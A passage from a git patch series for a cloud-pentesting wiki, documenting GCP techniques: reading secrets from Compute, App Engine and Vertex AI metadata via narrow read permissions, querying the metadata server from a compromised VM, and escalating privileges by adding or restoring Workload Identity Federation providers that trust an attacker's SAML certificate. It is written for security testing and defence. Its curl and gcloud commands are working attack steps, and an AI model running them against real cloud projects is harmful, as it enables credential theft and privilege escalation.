From cf44c8ddc126e3c1aa00f0800166463a87ccbc53 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 12:42:58 +0200 Subject: [PATCH 1/5] Document Compute metadata disclosure permissions --- .../gcp-compute-post-exploitation.md | 84 +++++++++++++++++++ 1 file changed, 84 insertions(+) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md index 2eda3a497a..cf16de0b88 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md @@ -178,6 +178,82 @@ Mount the disk inside the VM: If you **cannot give access to an external project** to the snapshot or disk, you might need to p**erform these actions inside an instance in the same project as the snapshot/disk**; the VM and disk must also be in compatible locations for attachment.[[7]](#references) +### Read literal configuration from Compute metadata + +Several ordinary-looking read permissions return complete custom metadata values. Metadata is free-form and is commonly used for startup and shutdown scripts, environment configuration, bootstrap commands, package-repository credentials, and other deployment inputs. If an operator stored a password, token, private URL, or other secret directly in metadata, these permissions disclose it without SSH or OS Login.[[11]](#references)[[12]](#references) + +| Permission | Scope and response field | +| --- | --- | +| `compute.projects.get` | Project-wide `commonInstanceMetadata.items[]` | +| `compute.instanceSettings.get` | Zonal `metadata.items` inherited by VMs in that zone | +| `compute.instances.get` | Metadata of one known VM in `metadata.items[]` | +| `compute.instances.list` | Full VM objects, including metadata, for a zone or every zone through `aggregatedList` | +| `compute.instanceTemplates.get` | Metadata in one known global or regional template's `properties.metadata.items[]` | +| `compute.instanceTemplates.list` | Full global, regional, or aggregated template objects, including metadata | + +The `get` permissions do not require their corresponding `list` permissions when the resource name and location are already known. Obtain names from source code, Terraform files or state, deployment scripts, logs, monitoring labels, CI output, shell history, or application configuration. The list permissions are independently useful because their responses contain the full resource objects rather than only names.[[13]](#references)[[14]](#references)[[15]](#references)[[16]](#references)[[17]](#references)[[18]](#references) + +
+ +CLI enumeration and direct REST fallbacks + +```bash +PROJECT_ID="project-id" +ZONE="us-central1-a" +INSTANCE="known-instance" +TEMPLATE="known-template" +ACCESS_TOKEN="$(gcloud auth print-access-token)" + +# Project and zonal metadata. +gcloud compute project-info describe --project "$PROJECT_ID" +gcloud compute project-zonal-metadata describe \ + --project "$PROJECT_ID" --zone "$ZONE" + +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID" +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/zones/$ZONE/instanceSettings" + +# A known VM needs get but not list. +gcloud compute instances describe "$INSTANCE" \ + --project "$PROJECT_ID" --zone "$ZONE" +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/zones/$ZONE/instances/$INSTANCE" + +# Listing returns metadata too. Follow nextPageToken when present. +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/zones/$ZONE/instances?maxResults=500" +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/aggregated/instances?maxResults=500" + +# Global template get/list and the all-regions aggregated fallback. +gcloud compute instance-templates describe "$TEMPLATE" --project "$PROJECT_ID" +gcloud compute instance-templates list --project "$PROJECT_ID" +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/global/instanceTemplates/$TEMPLATE" +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/global/instanceTemplates?maxResults=500" +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/aggregated/instanceTemplates?maxResults=500" +``` + +
+ +If the compromised process is already running inside a Compute Engine guest, the metadata server is the no-IAM fallback. It does not require a Google access token; the required `Metadata-Flavor` header prevents accidental requests. Query both scopes because instance values and inherited project or zonal values can differ:[[11]](#references)[[12]](#references) + +```bash +curl -sS -H 'Metadata-Flavor: Google' \ + 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text' +curl -sS -H 'Metadata-Flavor: Google' \ + 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text' +``` + +{% hint style="info" %} +**Live validation (2026-09-08):** Six isolated custom roles were tested against synthetic project, zonal, VM, and instance-template metadata. Each role contained exactly one permission from the table. `compute.projects.get`, `compute.instanceSettings.get`, `compute.instances.get`, and `compute.instanceTemplates.get` returned the exact marker at their respective known-resource endpoints without any list permission. Separate `compute.instances.list` and `compute.instanceTemplates.list` identities recovered it from list and aggregated-list responses while their matching GET requests returned HTTP 403. The VM had no service account and all values were synthetic. The VM, boot disk, template, metadata entries, identities, bindings, and roles were removed afterward. +{% endhint %} + +Treat these permissions as **High only when metadata can contain sensitive material**. Empty metadata, ordinary feature flags, public startup code, resource names, and SSH public keys are not secret disclosure. As a separate negative control, `instanceSettings.patch` rejected a caller holding only `compute.instanceSettings.get` plus `compute.instanceSettings.update` and demanded `iam.serviceAccounts.actAs`; do not present `compute.instanceSettings.update` alone as a confirmed privilege-escalation path. + ### Read serial-console output - `compute.instances.getSerialPortOutput` Serial output can contain startup-script output, cloud-init diagnostics, boot-time configuration, service errors, tokens, or credentials accidentally printed by workloads. This permission reads the buffered output without requiring SSH, OS Login, or `compute.instances.get` when the project, zone, and instance name are already known.[[10]](#references) @@ -216,5 +292,13 @@ This was validated using a custom role containing only `compute.instances.getSer - [8] [Format and mount a non-boot disk on a Linux VM](https://cloud.google.com/compute/docs/disks/format-mount-disk-linux) - [9] [gcloud compute ssh](https://cloud.google.com/sdk/gcloud/reference/compute/ssh) - [10] [Method: instances.getSerialPortOutput](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instances/getSerialPortOutput) +- [11] [About VM metadata](https://docs.cloud.google.com/compute/docs/metadata/overview) +- [12] [View and query VM metadata](https://docs.cloud.google.com/compute/docs/metadata/querying-metadata) +- [13] [Method: projects.get](https://docs.cloud.google.com/compute/docs/reference/rest/v1/projects/get) +- [14] [Method: instanceSettings.get](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instanceSettings/get) +- [15] [Method: instances.get](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instances/get) +- [16] [Method: instances.list](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instances/list) +- [17] [Method: instanceTemplates.get](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instanceTemplates/get) +- [18] [Method: instanceTemplates.list](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instanceTemplates/list) {{#include ../../../banners/hacktricks-training.md}} From ad439e7107bedea50e6624da2b22bd9dddf78a00 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 12:52:33 +0200 Subject: [PATCH 2/5] Document machine image metadata disclosure --- .../gcp-compute-post-exploitation.md | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md index cf16de0b88..6dc065c99b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md @@ -190,8 +190,10 @@ Several ordinary-looking read permissions return complete custom metadata values | `compute.instances.list` | Full VM objects, including metadata, for a zone or every zone through `aggregatedList` | | `compute.instanceTemplates.get` | Metadata in one known global or regional template's `properties.metadata.items[]` | | `compute.instanceTemplates.list` | Full global, regional, or aggregated template objects, including metadata | +| `compute.machineImages.get` | Captured source-VM metadata in one known machine image's `instanceProperties.metadata.items[]` | +| `compute.machineImages.list` | Full machine-image objects, including captured metadata, across the project | -The `get` permissions do not require their corresponding `list` permissions when the resource name and location are already known. Obtain names from source code, Terraform files or state, deployment scripts, logs, monitoring labels, CI output, shell history, or application configuration. The list permissions are independently useful because their responses contain the full resource objects rather than only names.[[13]](#references)[[14]](#references)[[15]](#references)[[16]](#references)[[17]](#references)[[18]](#references) +The `get` permissions do not require their corresponding `list` permissions when the resource name and location are already known. Obtain names from source code, Terraform files or state, deployment scripts, logs, monitoring labels, CI output, shell history, or application configuration. The list permissions are independently useful because their responses contain the full resource objects rather than only names.[[13]](#references)[[14]](#references)[[15]](#references)[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references)[[20]](#references)
@@ -235,6 +237,13 @@ curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/global/instanceTemplates?maxResults=500" curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/aggregated/instanceTemplates?maxResults=500" + +# Machine images preserve the source VM's metadata. +MACHINE_IMAGE="known-machine-image" +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/global/machineImages/$MACHINE_IMAGE" +curl -sS -H "Authorization: Bearer $ACCESS_TOKEN" \ + "https://compute.googleapis.com/compute/v1/projects/$PROJECT_ID/global/machineImages?maxResults=500" ```
@@ -249,7 +258,7 @@ curl -sS -H 'Metadata-Flavor: Google' \ ``` {% hint style="info" %} -**Live validation (2026-09-08):** Six isolated custom roles were tested against synthetic project, zonal, VM, and instance-template metadata. Each role contained exactly one permission from the table. `compute.projects.get`, `compute.instanceSettings.get`, `compute.instances.get`, and `compute.instanceTemplates.get` returned the exact marker at their respective known-resource endpoints without any list permission. Separate `compute.instances.list` and `compute.instanceTemplates.list` identities recovered it from list and aggregated-list responses while their matching GET requests returned HTTP 403. The VM had no service account and all values were synthetic. The VM, boot disk, template, metadata entries, identities, bindings, and roles were removed afterward. +**Live validation (2026-09-08):** Eight isolated custom roles were tested against synthetic project, zonal, VM, instance-template, and machine-image metadata. Each role contained exactly one permission from the table. `compute.projects.get`, `compute.instanceSettings.get`, `compute.instances.get`, `compute.instanceTemplates.get`, and `compute.machineImages.get` returned the exact marker at their respective known-resource endpoints without any list permission. Separate `compute.instances.list`, `compute.instanceTemplates.list`, and `compute.machineImages.list` identities recovered it from list responses while their matching GET requests returned HTTP 403; the VM and template list roles also succeeded through their aggregated-list APIs. The VMs had no service accounts and all values were synthetic. Both VMs and boot disks, the template, machine image, metadata entries, identities, bindings, and roles were removed afterward. {% endhint %} Treat these permissions as **High only when metadata can contain sensitive material**. Empty metadata, ordinary feature flags, public startup code, resource names, and SSH public keys are not secret disclosure. As a separate negative control, `instanceSettings.patch` rejected a caller holding only `compute.instanceSettings.get` plus `compute.instanceSettings.update` and demanded `iam.serviceAccounts.actAs`; do not present `compute.instanceSettings.update` alone as a confirmed privilege-escalation path. @@ -300,5 +309,7 @@ This was validated using a custom role containing only `compute.instances.getSer - [16] [Method: instances.list](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instances/list) - [17] [Method: instanceTemplates.get](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instanceTemplates/get) - [18] [Method: instanceTemplates.list](https://docs.cloud.google.com/compute/docs/reference/rest/v1/instanceTemplates/list) +- [19] [Method: machineImages.get](https://docs.cloud.google.com/compute/docs/reference/rest/v1/machineImages/get) +- [20] [Method: machineImages.list](https://docs.cloud.google.com/compute/docs/reference/rest/v1/machineImages/list) {{#include ../../../banners/hacktricks-training.md}} From fa3b10fa2b093915eb36968b8d49430724ea55ad Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 13:06:46 +0200 Subject: [PATCH 3/5] Document App Engine version configuration disclosure --- .../gcp-app-engine-post-exploitation.md | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md index 55845ab762..61031ae7e9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md @@ -43,6 +43,52 @@ gcloud app versions delete gcloud app services delete ``` +### Read secrets and deployment locations from version configuration + +The `appengine.versions.get` and `appengine.versions.list` permissions independently expose the **full version configuration** when the Admin API request uses `view=FULL`. This can disclose literal `envVariables`, the runtime `serviceAccount`, and every deployment manifest entry with its Cloud Storage `sourceUrl`. Treat either permission as high impact when an application stores credentials in environment variables; the service-account and source locations are also useful for selecting later privilege-escalation or source-review paths.[[8]](#references)[[9]](#references)[[10]](#references) + +> [!NOTE] +> A deployment `sourceUrl` identifies an object but does not bypass Cloud Storage authorization. Reading the object still requires `appengine.versions.getFileContents`, `storage.objects.get`, another applicable access path, or credentials obtained elsewhere. + +
Read a known version with appengine.versions.get + +This path does not require a list permission. Version and service names can come from application hostnames, logs, source configuration, error messages, or previous reconnaissance. `default` is the usual initial service name. + +```bash +TOKEN="$(gcloud auth print-access-token)" +PROJECT_ID="" +SERVICE_ID="" +VERSION_ID="" + +curl -sS \ + -H "Authorization: Bearer $TOKEN" \ + "https://appengine.googleapis.com/v1/apps/$PROJECT_ID/services/$SERVICE_ID/versions/$VERSION_ID?view=FULL" \ + | jq '{id, runtime, envVariables, serviceAccount, deployment: .deployment.files}' +``` + +
+ +
Enumerate full configurations with appengine.versions.list + +The list method returns the same sensitive fields without requiring `appengine.versions.get`. Follow `nextPageToken` when the response is paginated. + +```bash +TOKEN="$(gcloud auth print-access-token)" +PROJECT_ID="" +SERVICE_ID="" + +curl -sS \ + -H "Authorization: Bearer $TOKEN" \ + "https://appengine.googleapis.com/v1/apps/$PROJECT_ID/services/$SERVICE_ID/versions?view=FULL&pageSize=200" \ + | jq '.versions[] | {id, runtime, envVariables, serviceAccount, deployment: .deployment.files}' +``` + +
+ +If the identity cannot call either API but an App Engine workload is already compromised, inspect the process environment and locally deployed application files. That guest-side fallback needs no App Engine IAM enumeration permission and may reveal the same runtime configuration directly. + +In an isolated live test, an identity holding only `appengine.versions.get` recovered a synthetic environment marker, service-account address, and three deployment object URLs through the known-version request while the list request returned HTTP 403. A separate identity holding only `appengine.versions.list` recovered the same fields through `view=FULL` while the direct get request returned HTTP 403. No application configuration was changed for the test. + ### Read Source Code App Engine's deployment metadata includes a manifest of files stored in Cloud Storage, and App Engine creates a temporary deployment bucket named **`staging..appspot.com`**. Deployments may therefore leave source artifacts in that bucket, but **write access alone does not grant read access**. Use the App Engine Code Viewer permission `appengine.versions.getFileContents`, or Cloud Storage permissions that include object reads, to inspect retained source artifacts and search for **vulnerabilities** and **sensitive information**.[[1]](#references)[[7]](#references)[[8]](#references) @@ -61,5 +107,7 @@ Modify source code to steal credentials if they are being sent or perform a defa - [6] [gcloud app services delete](https://cloud.google.com/sdk/gcloud/reference/app/services/delete) - [7] [Use Cloud Storage](https://cloud.google.com/appengine/docs/standard/using-cloud-storage) - [8] [Package google.appengine.v1](https://cloud.google.com/appengine/docs/admin-api/reference/rpc/google.appengine.v1) +- [9] [App Engine Admin API: apps.services.versions.get](https://cloud.google.com/appengine/docs/admin-api/reference/rest/v1/apps.services.versions/get) +- [10] [App Engine Admin API: apps.services.versions.list](https://cloud.google.com/appengine/docs/admin-api/reference/rest/v1/apps.services.versions/list) {{#include ../../../banners/hacktricks-training.md}} From 64c2f0f8d9567ebf1a3eeb546b74d9faa94604f5 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 13:22:45 +0200 Subject: [PATCH 4/5] Document Vertex pipeline specification disclosure --- .../gcp-vertex-ai-post-exploitation.md | 57 ++++++++++++++++++- 1 file changed, 54 insertions(+), 3 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md index 5d033e0145..3ca4c6c2b8 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -2,9 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Vertex AI Agent Engine / Reasoning Engine - -This page focuses on **Vertex AI Agent Engine / Reasoning Engine** workloads that run attacker-controlled tools or code inside a Google-managed runtime.[[1]](#references) +This page covers sensitive Vertex AI runtime configuration and **Agent Engine / Reasoning Engine** workloads that run attacker-controlled tools or code inside a Google-managed runtime.[[1]](#references) For the general Vertex AI overview check: @@ -18,6 +16,56 @@ For classic Vertex AI privesc paths using custom jobs, models, and endpoints che ../gcp-privilege-escalation/gcp-vertex-ai-privesc.md {{#endref}} +## Read complete pipeline code and parameters + +The `aiplatform.pipelineJobs.get` and `aiplatform.pipelineJobs.list` permissions independently return the complete `PipelineJob`, including `pipelineSpec`, `runtimeConfig`, and `serviceAccount`. The pipeline specification can contain executor container images, commands, arguments, and environment variables, while runtime configuration can contain literal parameter values and storage locations. Either permission is therefore high impact when developers pass credentials or other sensitive values directly in pipeline definitions or parameters.[[11]](#references)[[12]](#references)[[13]](#references) + +> [!NOTE] +> These read permissions do not execute the pipeline and a referenced Cloud Storage URI does not bypass storage authorization. The disclosure is the literal configuration returned by Vertex AI; follow-on access still requires the relevant permission or another credential. + +
Read a known pipeline job with aiplatform.pipelineJobs.get + +This path needs no list permission. Recover a known job ID from application configuration, CI output, logs, monitoring, browser history, or an error message and call the resource directly. + +```bash +TOKEN="$(gcloud auth print-access-token)" +PROJECT_ID="" +REGION="" +PIPELINE_JOB_ID="" +BASE="https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${REGION}/pipelineJobs" + +curl -sS \ + -H "Authorization: Bearer $TOKEN" \ + "$BASE/$PIPELINE_JOB_ID" \ + | jq '{name, state, serviceAccount, runtimeConfig, pipelineSpec}' +``` + +
+ +
Enumerate full pipeline jobs with aiplatform.pipelineJobs.list + +The list response includes the full pipeline specifications; `aiplatform.pipelineJobs.get` is not required. Follow `nextPageToken` for additional pages. + +```bash +TOKEN="$(gcloud auth print-access-token)" +PROJECT_ID="" +REGION="" +BASE="https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${REGION}/pipelineJobs" + +curl -sS \ + -H "Authorization: Bearer $TOKEN" \ + "$BASE?pageSize=100" \ + | jq '.pipelineJobs[] | {name, state, serviceAccount, runtimeConfig, pipelineSpec}' +``` + +
+ +If no Vertex AI read permission is available but a pipeline container is already compromised, inspect that process's command line, environment, mounted configuration, and working directory. This guest-side fallback needs no pipeline-job enumeration permission and can expose the effective executor configuration or credentials available to that task. + +In an isolated live test, an identity with only `aiplatform.pipelineJobs.get` recovered the existing job's execution service account, runtime configuration, image, command, arguments, and complete pipeline specification while LIST returned HTTP 403. A separate identity with only `aiplatform.pipelineJobs.list` recovered the same fields through LIST while direct GET returned HTTP 403. No pipeline job was created, executed, modified, or deleted for the test. + +## Vertex AI Agent Engine / Reasoning Engine + ### Why this service is special Agent Engine introduces a useful but dangerous pattern: **developer-supplied code running inside a managed Google runtime with a Google-managed identity**.[[1]](#references)[[10]](#references) @@ -299,5 +347,8 @@ Any tool/function executed by the agent should be reviewed as if it were code ru - [8] [Method: reasoningEngines.list](https://docs.cloud.google.com/gemini-enterprise-agent-platform/reference/rest/v1/projects.locations.reasoningEngines/list) - [9] [Method: projects.locations.repositories.packages.list](https://cloud.google.com/artifact-registry/docs/reference/rest/v1/projects.locations.repositories.packages/list) - [10] [Set up the environment - Vertex AI Agent Engine](https://cloud.google.com/agent-builder/agent-engine/set-up) +- [11] [Vertex AI API: pipelineJobs.get](https://cloud.google.com/vertex-ai/docs/reference/rest/v1/projects.locations.pipelineJobs/get) +- [12] [Vertex AI API: pipelineJobs.list](https://cloud.google.com/vertex-ai/docs/reference/rest/v1/projects.locations.pipelineJobs/list) +- [13] [Vertex AI API: PipelineJob](https://cloud.google.com/vertex-ai/docs/reference/rest/v1/projects.locations.pipelineJobs#PipelineJob) {{#include ../../../banners/hacktricks-training.md}} From ca649ff46e1eb4e70058c79a8f8468a806e50b50 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 13:41:14 +0200 Subject: [PATCH 5/5] Consolidate tested GCP attack techniques --- src/SUMMARY.md | 4 + .../gcp-federation-abuse.md | 3 + ...cp-workload-identity-federation-privesc.md | 269 ++++++++++++++++++ .../gcp-to-workspace-pivoting/README.md | 28 +- ...gcp-agent-identity-auth-manager-privesc.md | 139 +++++++++ .../gcp-application-integration-privesc.md | 184 ++++++++++++ .../gcp-workspace-addons-privesc.md | 97 +++++++ 7 files changed, 722 insertions(+), 2 deletions(-) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-agent-identity-auth-manager-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-workspace-addons-privesc.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2c7017cf70..fc166d4085 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -138,6 +138,7 @@ - [GCP - Dataflow Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md) - [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md) - [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md) + - [GCP - Workload Identity Federation Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md) - [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md) - [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md) - [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md) @@ -210,7 +211,10 @@ - [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md) - [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md) - [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md) + - [GCP - Agent Identity Auth Manager Credential Access](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-agent-identity-auth-manager-privesc.md) - [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md) + - [GCP - Application Integration Credential Access](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md) + - [GCP - Workspace Add-on Deployment Takeover](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-workspace-addons-privesc.md) - [GCP - Unauthenticated Enum & Access](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md) - [GCP - API Keys Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md) - [GCP - App Engine Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md) diff --git a/src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md b/src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md index 65ec042fad..c6341567ca 100644 --- a/src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md +++ b/src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md @@ -2,6 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} +> [!CAUTION] +> A principal that can create or update a provider might be able to forge a trusted identity. Pool/provider update and undelete permissions can also reactivate residual trust and IAM bindings that defenders thought were disabled. The independently tested, single-permission SAML paths are documented in [GCP - Workload Identity Federation Privesc](../gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md). + ## OIDC - Github Actions Abuse ### GCP diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md new file mode 100644 index 0000000000..90235aa941 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md @@ -0,0 +1,269 @@ +# GCP - Workload Identity Federation Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `iam.googleapis.com/workloadIdentityPoolProviders.create` + +This permission is a **direct privilege-escalation primitive** when it applies to an existing Workload Identity Pool that has an IAM binding for every identity in the pool. An attacker can add a SAML provider that trusts an attacker-controlled certificate, forge any subject, exchange the assertion at Google Security Token Service (STS), and inherit the pool wildcard's roles.[[3]](#references)[[7]](#references) + +The tested prerequisite was an IAM member in this form: + +```text +principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/* +``` + +{% hint style="danger" %} +Provider creation alone grants no access. Treat this permission as Critical when the target pool has a privileged pool-wide wildcard binding. Without such a binding, report the dangerous trust-control capability and the missing prerequisite. +{% endhint %} + +### Add an attacker-controlled SAML provider with the exact permission + +Create SAML IdP metadata containing the attacker's signing certificate, then call the provider collection directly. This request needs `iam.googleapis.com/workloadIdentityPoolProviders.create`; it does not need pool/provider list or get permissions:[[7]](#references) + +```bash +PROJECT_NUMBER="123456789012" +POOL_ID="existing-pool" +PROVIDER_ID="attacker-idp" +POOL_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}" + +jq -Rs \ + '{displayName:"Attacker SAML provider", + attributeMapping:{"google.subject":"assertion.subject"}, + saml:{idpMetadataXml:.}}' \ + attacker-metadata.xml > provider-create.json + +curl -sS -X POST \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data-binary @provider-create.json \ + "https://iam.googleapis.com/v1/${POOL_NAME}/providers?workloadIdentityPoolProviderId=${PROVIDER_ID}" +``` + +The response is a long-running operation. Poll it until `done` is true and verify that it has no `error`. The new provider must become `ACTIVE` before exchanging the forged assertion. Continue at [Forge and exchange the assertion](#forge-and-exchange-the-assertion), using the new provider ID. + +## `iam.googleapis.com/workloadIdentityPoolProviders.undelete` + +Deleting a provider blocks new token exchanges, but provider deletion is recoverable for 30 days. If its trust configuration accepts an identity the attacker controls and a matching IAM binding remains, this permission can restore the provider and its access path.[[8]](#references) + +```bash +PROVIDER_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}/providers/${PROVIDER_ID}" + +curl -sS -X POST \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data '{}' \ + "https://iam.googleapis.com/v1/${PROVIDER_NAME}:undelete" +``` + +Wait for the returned operation to finish and confirm the provider is `ACTIVE`. This direct request does not require list or get permission. The live test used a pool-wide wildcard binding, a deleted SAML provider that trusted the attacker's certificate, and a custom role containing only the undelete permission. + +{% hint style="danger" %} +Undelete alone grants no access. The deleted provider must retain usable attacker-controlled trust, its pool must be active, and a matching IAM binding must still exist. +{% endhint %} + +## `iam.googleapis.com/workloadIdentityPools.update` + +A disabled pool cannot exchange new credentials, and existing credentials from it cannot access resources. Re-enabling it makes the pool's providers and residual IAM bindings usable again.[[9]](#references) + +```bash +POOL_NAME="projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/${POOL_ID}" + +jq -n --arg name "$POOL_NAME" '{name:$name,disabled:false}' > pool-enable.json +curl -sS -X PATCH \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data-binary @pool-enable.json \ + "https://iam.googleapis.com/v1/${POOL_NAME}?updateMask=disabled" +``` + +The request above exercises only the pool update permission and does not require reading the pool first. Poll the operation and verify `disabled` is false when read access is available. + +{% hint style="danger" %} +Pool update alone grants no access. This becomes Critical when a disabled pool retains a provider that accepts an attacker-controlled identity and a privileged IAM binding. +{% endhint %} + +## `iam.googleapis.com/workloadIdentityPools.undelete` + +A deleted pool is recoverable for 30 days. Undeleting it restores its provider trust; residual IAM bindings for the pool become usable again. Google also documents that unexpired credentials regain access if the pool is undeleted.[[10]](#references) + +```bash +curl -sS -X POST \ + -H "Authorization: Bearer $ACCESS_TOKEN" \ + -H 'Content-Type: application/json' \ + --data '{}' \ + "https://iam.googleapis.com/v1/${POOL_NAME}:undelete" +``` + +{% hint style="danger" %} +Pool undelete alone grants no access. A restored provider must accept an identity the attacker controls and a matching IAM binding must remain. +{% endhint %} + +## `iam.googleapis.com/workloadIdentityPoolProviders.update` + +This permission can become a **direct privilege-escalation primitive** when it applies to an existing Workload Identity Federation provider whose subjects, groups, or mapped attributes already have IAM access. A provider defines which external issuer and signing material Google trusts and how assertion claims become Google Cloud principal attributes. Changing that trust configuration can therefore let the editor mint credentials for an already-authorized federated 